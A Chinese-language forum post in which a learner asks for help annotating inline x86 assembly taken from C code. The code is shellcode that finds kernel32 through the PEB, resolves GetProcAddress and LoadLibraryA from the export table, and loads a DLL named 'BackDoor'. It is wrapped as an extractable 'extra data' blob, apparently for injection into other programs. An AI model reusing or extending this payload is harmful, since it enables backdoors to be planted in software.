求助,关于一段汇编代码
goto GetExtraData;1extra_data_start:
2 _asm pushad
3 _asm mov eax, fs:0x30 //PEB地址
4 _asm mov eax, [eax + 0x0c] //PEB_LDA_DATA地址
5 _asm mov esi, [eax + 0x1c] //动态链接库地址
6 _asm lodsd//得到KERNEL32.DLL所在LDR_MODULE结构的
7 _asm mov eax, [eax + 0x08] //得到BaseAddress,既Kernel32.dll基址
8 _asm mov edi, eax //edi = Kernel32.dll基址
9 _asm mov ebp, eax //ebp = Kernel32.dll基址
10
11 _asm mov eax, [ebp + 3ch] //eax = ((Kernel32.dll基址 + 3ch) == PE首部)
12 _asm mov edx, [ebp + eax + 78h] //ebp = Kernel32.dll基址;eax = PEB_LDR_DATA基址
13 _asm add edx, ebp
14 _asm mov ecx, [edx + 18h] //输出函数个数
15 _asm mov ebx, [edx + 20h] //函数名地址
16 _asm add ebx, ebp
17
18search:
19 _asm dec ecx //计数器减一,用于循环
20 _asm mov esi, [ebx + ecx * 4]
21 _asm add esi, ebp
22 _asm mov eax, 0x50746547 //ASCII PteG
23 _asm cmp [esi], eax //比较PteG
24 _asm jne search //若不相等,跳转到search重新搜索
25 _asm mov eax, 0x41636f72 //ASCII Acor
26 _asm cmp [esi + 4], eax //eax = PteG,eax + 4 = Acor
27 _asm jne search //若不相等,跳转到search重新搜索
28 _asm mov ebx, [edx + 24h]
29 _asm add ebx, ebp
30 _asm mov cx, [ebx + ecx * 2]
31 _asm mov ebx, [edx + 1ch]
32 _asm add ebx, ebp
33 _asm mov eax, [ebx + ecx * 4]
34 _asm add eax, ebp
35
36
37 _asm push ebp
38 _asm sub esp, 50h
39 _asm mov ebp, esp
40
41
42 _asm mov [ebp + 40h], eax
43
44
45 _asm push 0x0 //即'\0'
46 _asm push DWORD PTR 0x41797261 //Ayra aryA
47 _asm push DWORD PTR 0x7262694c //rbiL Libr
48 _asm push DWORD PTR 0x64616f4c //daoL Load
49 _asm push esp //压入"LoadLibrary\0"的地址
50 _asm push edi
51 _asm call [ebp + 40h]
52 _asm mov [ebp + 44h], eax
53 _asm push 0x0 //'\0'
54 _asm push DWORD PTR 0x726f6f44 //"Door"
55 _asm push DWORD PTR 0x6b636142 //"Back"
56 _asm push esp
57 _asm call [ebp + 44h]
58 _asm mov esp, ebp
59 _asm add esp, 0x50
60 _asm popad
61extra_data_end:
62
63
64GetExtraData:
65 _asm pushad;
66 _asm lea eax, extra_data_start;
67 _asm mov pExtra_data, eax;
68 _asm lea edx, extra_data_end;
69 _asm sub edx, eax;
70 _asm mov extra_data_real_length, edx;
71 _asm popad;
最近在研究c语言时遇到一段内联的汇编代码,在下不才,不懂汇编,抽时间看了看汇编教程,指令都可以看懂了,做了部分注释,没做注释的地方指令都能看懂,只是不知道那那些地址代表啥意思,例如18行,ebp = Kernel32.dll基址;eax = PEB_LDR_DATA基址,这么加是啥意思?再加个78h究竟偏移到哪里去拉?我查过peb,teb等结构体,暂时还没有眉目,求研究过汇编的朋友能给做出注释,最好详细点!